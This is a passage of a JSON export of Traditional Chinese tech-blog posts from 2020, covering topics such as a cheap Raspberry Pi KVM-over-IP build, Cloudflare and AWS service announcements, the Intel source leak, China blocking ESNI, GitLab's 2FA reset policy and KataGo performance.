    "id": "9630",
    "body": "一樣是在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的專案，弄出便宜的 KVM over IP 裝置：「<a href=\"https://mtlynch.io/tinypilot/\">TinyPilot: Build a KVM Over IP for Under $100</a>」。\r\n\r\n主要是他在 <a href=\"https://twitter.com/\">Twitter</a> 看到了這則，裡面提到了「<a href=\"https://www.amazon.com/dp/B08B4J2XXF\">Video Capture Cards, HDMI to USB 2.0, High Definition 1080p 30fps, Video Record via DSLR,Camcorder, Action Cam for Live Broadcasting, Live Streaming, Gaming, Teaching, Video Conference</a>」這個產品：\r\n\r\n<blockquote class=\"twitter-tweet\"><p lang=\"en\" dir=\"ltr\">Got one of those &quot;camlink&quot; USB converters because I was curious about em, and WHOAH I was shocked. UVC output, 20ms delay and signal looks to be properly grabbing 1080P@30. Single chip solution under a small sink and costs under $20. What in the heck is this. <a href=\"https://t.co/J7HYM3cf3M\">pic.twitter.com/J7HYM3cf3M</a></p>&mdash; Arsenio Dev (@Ascii211) <a href=\"https://twitter.com/Ascii211/status/1268631069051453448?ref_src=twsrc%5Etfw\">June 4, 2020</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n而作者在 <a href=\"https://www.ebay.com/\">eBay</a> 上面也找到了一樣的裝置，但是更便宜 (所以是「親，$11 包郵」？XDDD)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/8a632sK.webp\" /><img src=\"https://i.gslin.com/imgur/8a632sK.jpg\" alt=\"\" /></picture>\r\n\r\n接下來是在接觸 <a href=\"https://github.com/pikvm/pikvm\">pikvm</a> 的時候發現了 <a href=\"https://github.com/pikvm/ustreamer\">µStreamer</a> 這個專案：\r\n\r\n<blockquote>µStreamer is a lightweight and very quick server to stream MJPG video from any V4L2 device to the net.</blockquote>\r\n\r\n最後則是發現他使用的 HDMI-to-USB 裝置直接就是輸出 <a href=\"https://en.wikipedia.org/wiki/MJPG\">MJPG</a> 格式，連 transcoding 都不用做了，大幅把 latency 降到 200ms：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/psGNyrH.webp\" /><img src=\"https://i.gslin.com/imgur/psGNyrH.jpg\" alt=\"\" /></picture>\r\n\r\n其實從作者的文章可以知道，你想做的事情說不定在地球上已經有其他人做差不多了，重點是要找出來，而不需要自己硬幹 XD",
    "title": "用 Raspberry Pi 4 與 HDMI-to-USB 組出 KVM over IP 裝置"
  },
  {
    "id": "9631",
    "body": "一樣還是 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的東西，不過這個東西主要就是趣味性為主而已。這次看到的是純 HTML + CSS 做出來的<a href=\"https://zh.wikipedia.org/wiki/%E8%B8%A9%E5%9C%B0%E9%9B%B7\">踩地雷</a> (<a href=\"https://en.wikipedia.org/wiki/Minesweeper_(video_game)\">Minesweeper</a>)，沒有 JavaScript 在內：「<a href=\"https://github.com/propjockey/css-sweeper\">css-sweeper from PropJockey</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/sw6hDZe.gif\" alt=\"\" />\r\n\r\n自從 HTML + CSS3 證明是 <a href=\"https://en.wikipedia.org/wiki/Turing_completeness\">Turing-complete</a> 後，再加上 CSS 本身又一直加各種互動性質的操作，出現這些東西好像不太意外就是了 XDDD\r\n\r\n依照他的說明，這邊用到的 CSS 技巧主要是 Space Toggle 這個技巧 (也就是 <code>--toggler</code> 這個)，但試著找了對應的文獻說明居然沒翻到，有人可以給個 hint 嗎...",
    "title": "用純 HTML + CSS 做出來的踩地雷..."
  },
  {
    "id": "9632",
    "body": "應該是直接在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到的東西，有人丟出一個二分搜尋法實做，宣稱比標準實做快不少：「<a href=\"https://news.ycombinator.com/item?id=23893366\">Binary Search: A new implementation that is up to 25% faster (github.com)</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/on3aTpK.webp\" /><img src=\"https://i.gslin.com/imgur/on3aTpK.jpg\" alt=\"\" /></picture>\r\n\r\n實做的程式碼放在 <a href=\"https://github.com/\">GitHub</a> 的「<a href=\"https://github.com/scandum/binary_search\">scandum/binary_search</a>」這邊，讀了 source code 後可以看到一臉就要利用現代 CPU 預測平行化的能力加速 XDDD\r\n\r\n另外看了 Hacker News 上的討論，這種寫法會透過 CPU 預測平行化的能力善用記憶體頻寬，這應該是測起來比較快的主因。\r\n\r\n不過這只算是個開頭，丟出一些方向讓社群可以研究，實際上還是得看看負面影響的部份，像是比較舊的 CPU 會不會有很重的 penalty (overhead)，以及其他類型 CPU 上的情況...",
    "title": "最近討論到的二分搜尋法..."
  },
  {
    "id": "9633",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的專案，針對現在很多演算法可以抓出照片上的人臉進行防禦：「<a href=\"http://sandlab.cs.uchicago.edu/fawkes/\">Image \"Cloaking\" for Personal Privacy</a>」。\r\n\r\n這算是 Evasion 的應用，這個專案想要提供演算法，可以在照片上「隱形」，使得演算法偵測不到「人臉」，程式碼可以在 <a href=\"https://github.com/Shawn-Shan/fawkes\">Shawn-Shan/fawkes</a> 這邊翻到，可以看到是在 <a href=\"https://www.python.org/\">Python</a> 上用 <a href=\"https://www.tensorflow.org/\">TensorFlow</a> 與 <a href=\"https://keras.io/\">Keras</a> 實做出來的。\r\n\r\n不過會覺得比較有趣的反而不是裡面的方法，而是這篇論文的六個作者：\r\n\r\n<blockquote>Shawn Shan†, PhD Student\r\nEmily Wenger†, PhD Student\r\nJiayun Zhang, Visiting Student\r\nHuiying Li, PhD Student\r\nHaitao Zheng, Professor\r\nBen Y. Zhao, Professor\r\n\r\n† Project co-leaders and co-first authors</blockquote>\r\n\r\n從名字上來看五個是華人，而且一路搜下來會發現掛在最後一位的 Ben Y. Zhao 教授在 <a href=\"https://www.quora.com/\">Quora</a> 上常常回答問題，而且這些問題 (與回答) 還蠻有趣的，可以自己搜看看...",
    "title": "避開人臉辨識系統的演算法"
  },
  {
    "id": "9635",
    "body": "<a href=\"https://aws.amazon.com/lightsail/\">Amazon Lightsail</a> 也推出 CDN 服務了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2020/07/amazon-lightsail-now-offers-cdn-distributions-to-accelerate-content-delivery/\">Amazon Lightsail now offers CDN distributions to accelerate content delivery</a>」。\r\n\r\n這個服務是用 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 為底：\r\n\r\n<blockquote>This native service, called Lightsail CDN, is backed by Amazon CloudFront, Amazon Web Services’ CDN platform that uses a global network of servers in over 200 locations across 42 countries to store and deliver your content throughout the world. Lightsail CDN distributions can be created and configured with just a few clicks for a low, predictable monthly price, and you can get started for free. </blockquote>\r\n\r\n看了一下價錢，免費方案可以有 50GB/month，一般自己架個 <a href=\"https://wordpress.org/\">WordPress</a> 之類的 blog 應該是可以涵蓋在內。\r\n\r\n付費方案中，USD$10/month 可以給 200GB，但 USD$35/month 只能給 500GB？這邊是用愈多愈貴，沒看懂這個定價方式啊...\r\n\r\n但看起來是有不少機會比 CloudFront 便宜 (如果非歐美的流量不少的話)，再來就是 Lightsail CDN 這邊沒有列出每個 request 的費用，所以應該是不算這塊？這樣小檔案很多的話應該也是個選擇？\r\n\r\nAmazon Lightsail 一直拿 <a href=\"https://aws.amazon.com/\">AWS</a> 自家東西出來市場上打架，現有的 VPS 不知道會怎麼提供類似的方案，搭 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 嗎？或是找 <a href=\"https://www.fastly.com/\">Fastly</a> 這些服務搭？(不過話說回來，Fastly 的牌價好貴 XD)",
    "title": "Amazon Lightsail 也推出 CDN 服務了..."
  },
  {
    "id": "9636",
    "body": "在「<a href=\"https://worldofmatthew.com/post/tor-german-avoid/\">The German Problem with Tor</a>」這邊提到了 <a href=\"https://www.torproject.org/\">Tor</a> 在德國的 Relay 節點比重過高的問題，遠超過第二名的法國：\r\n\r\n<blockquote>This is where we come to Germany, which has the highest amount of Tor relay capacity in the World at 167Gbps, in contrast France is in 2nd place with 64.5Gbps of capacity aka more than 100Gbps lower than Germany.</blockquote>\r\n\r\n從 <a href=\"https://metrics.torproject.org/\">Welcome to Tor Metrics</a> 這邊可以拉資料出來看，在「<a href=\"https://metrics.torproject.org/rs.html#aggregate/cc\">rs.html#aggregate/cc</a>」這頁可以看到差距，現在德國的 Relay 是第一名，比重約 37.7%，法國則是第二名，但卻只佔了 16.7%。\r\n\r\n主要還是頻寬費用的關係吧？畢竟網路上租主機時也可以感覺到，德國的頻寬真的很便宜...",
    "title": "Tor 在德國的 Relay 節點比重過高的問題"
  },
  {
    "id": "9638",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 改善了 <a href=\"https://workers.cloudflare.com/\">Workers</a> 的 cold start 時間：「<a href=\"https://blog.cloudflare.com/eliminating-cold-starts-with-cloudflare-workers/\">Eliminating cold starts with Cloudflare Workers</a>」。\r\n\r\n傳統的作法是連線結束後 application 層收到時去拉 worker 起來跑：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/R4nOI9T.webp\" /><img src=\"https://i.gslin.com/imgur/R4nOI9T.jpg\" alt=\"\" /></picture>\r\n\r\n他們想到的方法是在收到 TLS 的 ClientHello 封包時就可以拉起來等了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/4p9yjc2.webp\" /><img src=\"https://i.gslin.com/imgur/4p9yjc2.jpg\" alt=\"\" /></picture>\r\n\r\n這點利用了 TLS 啟動時的交換時間，把 cold start 的時間疊起來，不過缺點應該就是同一個 domain 下的所有的 worker 都得拉起來，不過因為只有 cold start 的部份，應該是還好...",
    "title": "Cloudflare 降低 Workers 的 Cold Start 時間的方法..."
  },
  {
    "id": "9639",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 推出了 BYOIP 的服務，用客戶的 IP address 放 routing 出去：「<a href=\"https://blog.cloudflare.com/bringing-your-own-ips-to-cloudflare-byoip/\">Bringing Your Own IPs to Cloudflare (BYOIP)</a>」。\r\n\r\n照敘述上看起來應該是 anycast，不過這邊沒明講：\r\n\r\n<blockquote>When you BYOIP with Cloudflare, this means we announce your IP space in over 200 cities around the world and tie your IP prefix to the service (or services!) of your choosing.</blockquote>\r\n\r\n裡面沒有提到 IPv4 或是 IPv6，在 <a href=\"https://developers.cloudflare.com/byoip/\">https://developers.cloudflare.com/byoip/</a> 這邊看起來也沒提到，以 Cloudflare 的技術架構，應該是都支援？\r\n\r\n用自己的 IP 的好處，一個明顯的方向就是 firewall 會好設不少，另外如果需要服務中國或是其他管制地區，比較不會因為 IP space 混用誤殺受到影響？",
    "title": "Cloudflare 推出了 BYOIP 的服務"
  },
  {
    "id": "9640",
    "body": "前幾天在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的專案：「<a href=\"https://gpu.rocks/#/\">GPU.js - GPU accelerated JavaScript</a>」，對應的 <a href=\"https://github.com/\">GitHub</a> 頁面在 <a href=\"https://github.com/gpujs/gpu.js\">gpujs/gpu.js</a> 這邊。\r\n\r\n看起來是用 <a href=\"https://en.wikipedia.org/wiki/WebGL\">WebGL</a> 接進去的，不過他用來 benchmark 的硬體頗暴力啊：\r\n\r\n<blockquote>Hardware:  Xeon Gold 5217 + 8 x RTX 2080ti</blockquote>\r\n\r\n這邊用了八張 2080Ti，如果一張就大約是 1/8 效能的話，看起來好像還好... 一張 2080Ti 跟 <a href=\"https://ark.intel.com/content/www/us/en/ark/products/193396/intel-xeon-gold-5217-processor-11m-cache-3-00-ghz.html\">Xeon Gold 5217</a> 跑出來差不多？價錢也在同一個範圍區間...\r\n\r\n暫時不知道用途...",
    "title": "GPU.js"
  },
  {
    "id": "9642",
    "body": "看起來應該是找 <a href=\"https://www.percona.com/\">Percona</a> 的人幫忙轉移到 <a href=\"http://myrocks.io/\">MyRocks</a> 上，然後整理出來的成功案例：「<a href=\"https://www.percona.com/blog/2020/08/04/the-road-story-of-a-myrocks-mariadb-migration/\">The Road Story of a MyRocks/MariaDB Migration</a>」。\r\n\r\n看起來是跑在獨立機器上，而不是雲端的虛擬機上，所以不是想 scale up 就可以把硬體規格拉上去 (說不定記憶體插槽已經滿了之類的...)：\r\n\r\n<blockquote>Replicas run on bare metal servers, usually Dual Xeon E5 v3 or v4, with 192 GB to 384 GB of RAM.</blockquote>\r\n\r\n這次遇到的主要的問題是發現效能跟不上。另外在文章裡面沒寫到，但可以猜到的是，他們目前不打算改架構，而是想要藉由改善資料庫的效能來解決問題：\r\n\r\n<blockquote>The servers were close to their limits and were slow to catch up with replication after a maintenance period</blockquote>\r\n\r\n後面可以看到不少過程，主要是重新編一份 <a href=\"https://mariadb.org/\">MariaDB</a>，讓 MyRocks 支援 <a href=\"https://en.wikipedia.org/wiki/Zstandard\">Zstandard</a> (MyRocks 支援 Zstandard，不過 MariaDB 內的 MyRocks 不知道為什麼關掉了...)，這點大幅降低了空間的佔用。\r\n\r\n另外是遇到 OOM 問題，在改用 <a href=\"http://jemalloc.net/\">jemalloc</a> 解決記憶體用量的問題後就解決了 (這個在使用 InnoDB 的時候也算是標配了)。\r\n\r\n不過在「Increased Read Load Over Time」那段還是看到了 workaround：\r\n\r\n<blockquote>The read load was still rising a bit but at a much smaller pace. Instead of hours, it was days. That’s kind of expected given the workload and we were already planning for periodic manual compactions.</blockquote>\r\n\r\n目前看起來 MyRocks 的強項主要是在省資源，但缺點就是有不少眉眉角角得小心處理。這樣的話，一般應該還是會先用 InnoDB，真的搞大了再考慮要不要換過去...",
    "title": "MyRocks/MariaDB 的 tuning 過程"
  },
  {
    "id": "9644",
    "body": "看到「<a href=\"https://www.djangoproject.com/weblog/2020/aug/04/django-31-released/\">Django 3.1 Released</a>」這邊的公告，比較完整的改變可以在「<a href=\"https://docs.djangoproject.com/en/3.1/releases/3.1/\">Django 3.1 release notes</a>」這邊翻到。\r\n\r\n這應該是第一次要把手上的專案跳 minor version 升級，看起來應該是還好，但天曉得會有什麼狀況... 看起來主要會是 sha1 要被換成 sha256 會有影響到。\r\n\r\n另外看到這個：\r\n\r\n<blockquote>SimpleTestCase now implements the debug() method to allow running a test without collecting the result and catching exceptions. This can be used to support running tests under a debugger.</blockquote>\r\n\r\n看起來應該也蠻有用的，可以玩看看...",
    "title": "Django 3.1"
  },
  {
    "id": "9646",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的有趣故事，作者在 <a href=\"https://old.reddit.com/\">Reddit</a> 上描述怎麼不停機把實體的伺服器搬到兩百米外的機房，中間還經過了停車場：「<a href=\"https://old.reddit.com/r/sysadmin/comments/i3xbjb/rant_sorta_physically_moved_a_server_today/\">[Rant... sorta] Physically moved a server today...</a>」，另外作者的 FAQ 在「<a href=\"https://old.reddit.com/r/sysadmin/comments/i4bi9i/faqrant_sorta_physically_moved_a_server_today/\">[FAQ][Rant... sorta] Physically moved a server today...</a>」這邊可以看到。\r\n\r\n我會把這個當故事看一看就好，裡面還是有一些細節沒有被敘述 (像是網路不斷線的部份)，感覺不太對，但就一個故事來看是蠻有趣的 XD\r\n\r\n搬運的過程中間包括了使用 UPS 與多顆 switch 對接，另外中間經過一個停車場，算是很有趣的方式？",
    "title": "不停機把 server 搬到兩百米外的機房"
  },
  {
    "id": "9647",
    "body": "好像是在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 的首頁上看到的，<a href=\"https://gitlab.com/\">GitLab</a> 宣佈他們的服務將不提供免費使用者 2FA reset：「<a href=\"https://about.gitlab.com/blog/2020/08/04/gitlab-support-no-longer-processing-mfa-resets-for-free-users/\">GitLab Support is no longer processing MFA resets for free users</a>」，對應的討論串在「<a href=\"https://news.ycombinator.com/item?id=24055525\">Gitlab Support is no longer processing MFA resets for free users (gitlab.com)</a>」這邊可以看到。\r\n\r\n官方的公告，從今年的 8/15 開始就不再提供 reset：\r\n\r\n<blockquote><strong>As of Aug. 15th, 2020, GitLab Support will no longer process MFA resets for free accounts.</strong></blockquote>\r\n\r\n這反而是鼓勵使用者不要開啟 2FA，在討論裡面有人就講到這件事情，這個方法讓設定 2FA 的人受到處罰：\r\n\r\n<blockquote>Think about the psychology of what you are telling people: \"You have two choices - one is normal security, which you use on 80%+ of the rest of the internet, and one is 2fa which you only use on the annoying services that badger you into it. On the first one, if you lose your password you can do a password reset. On the second one, if your laptop and phone get fried in a rainstorm / car crash / act of children, you lose access to everything forever, no recourse and no recovery. And by the way, we totally encourage you to choose the second one... \"</blockquote>\r\n\r\n主因是，不是每個用 2FA 的人都知道要怎麼保護自己的帳號：像是同時有多把硬體的 <a href=\"https://en.wikipedia.org/wiki/Universal_2nd_Factor\">U2F</a> 放在不同地方，並且還有手機的 <a href=\"https://en.wikipedia.org/wiki/Time-based_One-time_Password_algorithm\">TOTP</a>，另外還會把 backup code 放到安全的地方。\r\n\r\n這次可以看出來 GitLab 的安全概念其實又出包了...",
    "title": "GitLab.com 將不支援免費使用者的 2FA reset"
  },
  {
    "id": "9648",
    "body": "<a href=\"https://github.com/lightvector/KataGo\">KataGo</a> 是目前 open source 裡最強的計算引擎了，不過先前的缺點就是得透過 <a href=\"https://en.wikipedia.org/wiki/OpenCL\">OpenCL</a> 或是 <a href=\"https://en.wikipedia.org/wiki/CUDA\">CUDA</a> 才能跑，所以基本上得有張夠力的顯示卡才行。\r\n\r\n如果要想要在 CPU 上跑 (不透過硬體顯示卡)，一種方式是透過 OpenCL 的方式模擬，在 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 下可以透過 <a href=\"http://portablecl.org/\">pocl</a> 達成，效能就普普通通，但算是會動的東西，不過 Windows 下好像不太好弄... 這也是先前蠻多人還是繼續使用 <a href=\"https://zh.wikipedia.org/wiki/Leela_Zero\">Leela Zero</a> 的原因。\r\n\r\n最近 KataGo 在 1.5 版實做了純 CPU 版本的程式碼，是透過 <a href=\"https://en.wikipedia.org/wiki/Eigen_(C%2B%2B_library)\">Eigen</a> 這套 library 達成的，不過大家測過以後發現慢到爆炸 XDDD\r\n\r\n因為作者沒有提供 CPU 版本的 binary，我自己在 Linux 下抓程式碼 compile 後測試發現只會用一個 CPU (沒有 multi threading)，對比於在 1080Ti 上跑 OpenCL 版本大約 150 visits/sec (40b)，但 CPU 版本是 0.0x visits/sec 啊 XDDD\r\n\r\n作者自己在 GitHub 上討論時也有提到這個版本只有確認正確性，完全沒有考慮效能...\r\n\r\n不過就有其他人跳出來改善了，在「<a href=\"https://github.com/lightvector/KataGo/issues/288\">Optimization of Eigen backend #288</a>」這邊可以看到 <a href=\"https://github.com/kaorahi\">kaorahi</a> 拋出了不少修改，可以看到從一開始的 <code>eigen_naive_loop</code> (對比 1.5 版有 13x 的成長) 一路到 <code>borrow_tensorflow</code> (1400x) 的版本，使得在 CPU 上面跑 15b 也有 10 visits/sec 了：\r\n\r\n<blockquote>\"borrow_tensorflow\" version: x1400 speed up from 1.5.0 (70% of libtensorflow backend). Now 15b net is usable for me. I get 19 visits/s in benchmark and 10 visits/s in GUI with 15b net.</blockquote>\r\n\r\n這樣看起來已經快了不少，這樣子 Leela Zero 應該會逐漸淡出了，CPU-only 算是最後一塊 Leela Zero 還可以爭的地盤...",
    "title": "KataGo 最近的進展"
  },
  {
    "id": "9649",
    "body": "已經有不少新聞都有報導提到最近被丟出來的 <a href=\"https://www.intel.com/\">Intel</a> 程式碼：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">Intel exconfidential Lake Platform Release ;)<br><br>This is the first 20gb release in a series of large Intel leaks.<br><br>Most of the things here have NOT been published ANYWHERE before and are classified as confidential, under NDA or Intel Restricted Secret. <a href=\"https://t.co/KE708HCIqu\">pic.twitter.com/KE708HCIqu</a></p>&mdash; Tillie 1312 Kottmann #BLM ???? (@deletescape) <a href=\"https://twitter.com/deletescape/status/1291405688204402689?ref_src=twsrc%5Etfw\">August 6, 2020</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n這些程式碼都是需要簽 NDA 或類似的合約才能拿到，這次被丟出來可以看到不少東西... 發佈的人有提到可以搜尋一些「關鍵字」，像是 <code>backdoor</code> 這個：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">not a lot I guess, but searching for &quot;backdoor&quot; in the bios/fw sources DOES turn up results</p>&mdash; Tillie 1312 Kottmann #BLM ???? (@deletescape) <a href=\"https://twitter.com/deletescape/status/1291419918685147149?ref_src=twsrc%5Etfw\">August 6, 2020</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n然後結果還蠻有趣的，看起來這包 20GB 的檔案可以讓不少人研究一陣子...",
    "title": "最近洩漏出來的 Intel 程式碼..."
  },
  {
    "id": "9650",
    "body": "<a href=\"https://www.facebook.com/\">Facebook</a> 丟出來的靜態分析工具，可以拿來分析 <a href=\"https://www.python.org/\">Python</a> 程式碼：「<a href=\"https://engineering.fb.com/security/pysa/\">Pysa: An open source static analysis tool to detect and prevent security issues in Python code</a>」，專案在「<a href=\"https://github.com/facebook/pyre-check/\">facebook/pyre-check</a>」這邊可以取得。\r\n\r\n不過軟體居然是用 <a href=\"https://en.wikipedia.org/wiki/OCaml\">OCaml</a> 寫的啊，另外已經包好了，可以用 <a href=\"https://pypi.org/project/pip/\">pip</a> 直接裝 <code>pyre-check</code>。\r\n\r\n官方的說明裡面有提到要裝 <a href=\"https://facebook.github.io/watchman/\">watchman</a>，不過這算是選擇性安裝，不裝 watchman 直接執行也可以用，只是會跳個訊息跟你說裝了可以遞增檢查：\r\n\r\n<blockquote>To enable pyre incremental, you can install watchman: https://facebook.github.io/watchman/docs/install</blockquote>\r\n\r\n最近在寫的專案都是用 Python，剛好可以拿來掃這些專案...",
    "title": "Facebook 放出 Pysa，靜態分析 Python 程式碼的工具"
  },
  {
    "id": "9652",
    "body": "這兩天陸陸續續都有一些新聞出來了，中國已經開始擋 ESNI 了：「<a href=\"https://www.zdnet.com/article/china-is-now-blocking-all-encrypted-https-traffic-using-tls-1-3-and-esni/\">China is now blocking all encrypted HTTPS traffic that uses TLS 1.3 and ESNI</a>」。\r\n\r\nESNI (Encrypted SNI) 的重點就是在於把 TLS 裡 ClientHello 的 hostname 部分加密 (通常會需要配合 <a href=\"https://en.wikipedia.org/wiki/DNS_over_HTTPS\">DNS-over-HTTPS</a> 或是 <a href=\"https://en.wikipedia.org/wiki/DNS_over_TLS\">DNS-over-TLS</a> 的方式取得 key 相關的資料)，這個 hostname 的部分是目前 TLS 連線裡少數可以被看到的明文，也因此對於 GFW 過濾資料很有用，而 ESNI 等於是把這個洞補上，這次直接擋掉應該是預料中的事情...\r\n\r\n但就算不管中國的部分，ESNI 對於 priavcy 的幫助還是很大，基本上 ISP 只剩下 IP 資訊可以分析，如果是有 CDN 之類的服務在前面擋住的就更看不出來了 (i.e. 許多網站用同一個 IP address)。",
    "title": "中國開始擋 ESNI 了..."
  },
  {
    "id": "9653",
    "body": "收到 <a href=\"https://www.slideshare.net/\">SlideShare</a> 的信件，提到了 <a href=\"https://www.scribd.com/\">Scribd</a> 接手的事情：「<a href=\"https://news.linkedin.com/2020/august/digital-library-leader-scribd-is-acquiring-slideshare\">Digital library leader Scribd has acquired SlideShare</a>」，另外 Scribd 這邊也有新聞稿：「<a href=\"https://blog.scribd.com/home/welcome-slideshare-to-the-scribd-community\">Welcome SlideShare to the Scribd community</a>」。\r\n\r\n信裡面提到會在九月 24 日生效：\r\n\r\n<blockquote>Scribd will begin operating the SlideShare business on September 24, 2020.</blockquote>\r\n\r\n另外在 <a href=\"https://techcrunch.com/\">TechCrunch</a> 這邊也有報導「<a href=\"https://techcrunch.com/2020/08/11/scribd-acquires-slideshare/\">Scribd acquires presentation-sharing service SlideShare from LinkedIn</a>」，看起來目前還沒有小道消息知道轉手的價錢：\r\n\r\n<blockquote>SlideShare has a new owner, with LinkedIn selling the presentation-sharing service to Scribd for an undisclosed price.</blockquote>",
    "title": "LinkedIn 把 SlideShare 賣給 Scribd 了"
  },
  {
    "id": "9654",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Daily Hacker News</a> 上看到的東西，這個網站會每天會演算法整理出 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上十則消息 (就如同名字)，對於還不錯，這次有趣的是這個網站的作者 Colin Percival 自己在 <a href=\"https://twitter.com/\">Twitter</a> 上講的東西也被收進去了...\r\n\r\n他目前的主力服務應該是 <a href=\"https://en.wikipedia.org/wiki/Tarsnap\">Tarsnap</a>，主打的是只有使用者有 key 能解開的雲端加密備份服務。這個服務放在 <a href=\"https://aws.amazon.com/\">AWS</a> 上，所以才會有這則：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">I want to have an AWS region where everything breaks with high frequency. EC2 networks dropping packets, EBS volumes hanging and failing, entire AZs dropping offline, etc. If it breaks 0.001% of the time in us-east-1, I want it to break 1% of the time in us-fail-1. <a href=\"https://twitter.com/hashtag/awswishlist?src=hash&amp;ref_src=twsrc%5Etfw\">#awswishlist</a></p>&mdash; Colin Percival (@cperciva) <a href=\"https://twitter.com/cperciva/status/1292260921893457920?ref_src=twsrc%5Etfw\">August 9, 2020</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n希望有個三不五時就壞掉的環境，可以確保平常在設計架構上就會考慮到不穩定性。\r\n\r\n這讓我想到 <a href=\"https://www.netflix.com/\">Netflix</a> 的 <a href=\"https://netflix.github.io/chaosmonkey/\">Chaos Monkey</a>，可能還是不夠用？\r\n\r\n機器層應該可以用 Chaos Monkey 搞定，網路層應該可以在 <a href=\"https://www.freebsd.org/doc/handbook/firewalls-pf.html\">PF</a> 或是 <a href=\"https://en.wikipedia.org/wiki/Iptables\">iptables</a> 上面模擬出來？雖然每台都得設定就是了... 目前沒有想到好方法的應該是 <a href=\"https://aws.amazon.com/ebs/\">EBS</a> 與 cloud service 的部份 (像是 <a href=\"https://aws.amazon.com/rds/\">RDS</a>)，也許前面架個很容易壞掉的 TCP proxy 模擬？\r\n\r\n另外馬上就看到下面有幾個人在偷婊其他 cloud service XDDD\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">Test your thing on IBM cloud. You’re welcome.</p>&mdash; Emir Ercan Ayar (@eercanayar) <a href=\"https://twitter.com/eercanayar/status/1292344355752214528?ref_src=twsrc%5Etfw\">August 9, 2020</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>",
    "title": "Colin Percival 希望 AWS 有 us-chaos-1 (us-fail-1？)"
  },
  {
    "id": "9655",
    "body": "先前在其他地區已經有很多判例了，這次會特別記錄下來是因為加州是 <a href=\"https://www.uber.com/\">Uber</a> 與 <a href=\"https://www.lyft.com/\">Lyft</a> 的總部：「<a href=\"https://www.theverge.com/2020/8/10/21362460/uber-lyft-drivers-employees-california-court-ruling\">Uber and Lyft ordered by California judge to classify drivers as employees</a>」。\r\n\r\n裡面有提到了去年九月加州政府通過了法案 (<a href=\"https://en.wikipedia.org/wiki/California_Assembly_Bill_5_(2019)\">California Assembly Bill 5</a>，簡稱 AB 5)，把 <a href=\"https://www.labor.ca.gov/employmentstatus/abctest/\">ABC Test</a> 放進法律，取代了之前的 Borello test，用來判斷聘顧關係 (是否為員工，或是獨立的合約關係)：\r\n\r\n<blockquote>Under the ABC test, a worker is considered an employee and not an independent contractor, unless the hiring entity satisfies <strong>all three</strong> of the following conditions:\r\n\r\n<ul>\r\n\t<li>The worker is free from the control and direction of the hiring entity in connection with the performance of the work, both under the contract for the performance of the work and in fact;</li>\r\n\t<li>The worker performs work that is outside the usual course of the hiring entity’s business; and</li>\r\n\t<li>The worker is customarily engaged in an independently established trade, occupation, or business of the same nature as that involved in the work performed.</li>\r\n</ul></blockquote>\r\n\r\n現在需要這三點都成立才會認定為獨立的合約聘顧關係，雖然還有上訴的機會，但翻盤的機率應該不高，記得這個法案當初就是針對 Uber 跟 Lyft...",
    "title": "加州法院認為 Uber 與 Lyft 的司機是員工"
  },
  {
    "id": "9657",
    "body": "看到 <a href=\"https://travis-ci.com/\">Travis CI</a> 推出 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 20.04 的測試環境公告，嚇了一跳：「<a href=\"https://blog.travis-ci.com/2020-08-10-focal-build-environment\">Ubuntu 20.04 (Focal Fossa) build environment is available!</a>」。\r\n\r\n要知道當年是在 2017 年七月才支援 Ubuntu 14.04 (參考「<a href=\"https://blog.gslin.org/archives/2017/07/12/7443/travis-ci-%E7%B8%BD%E7%AE%97%E8%A6%81%E6%8A%8A-trusty-%E7%95%B6%E4%BD%9C%E9%A0%90%E8%A8%AD%E7%92%B0%E5%A2%83%E4%BA%86/\">Travis CI 總算要把 Trusty 當作預設環境了...</a>」這篇)，在 2018 年十一月才支援 Ubuntu 16.04 (參考「<a href=\"https://blog.gslin.org/archives/2018/11/10/8556/travis-ci-%E5%B1%85%E7%84%B6%E8%A8%98%E5%BE%97%E8%A6%81%E6%94%AF%E6%8F%B4-16-04-%E4%BA%86/\">Travis CI 居然記得要支援 16.04 了...</a>」這篇)，然後 18.04 上線乾脆不公告了 (翻了一下社群的討論「<a href=\"https://travis-ci.community/t/ubuntu-18-04-1-lts-bionic-beaver/1270\">Ubuntu 18.04.1 LTS (Bionic Beaver)</a>」，是在 2019 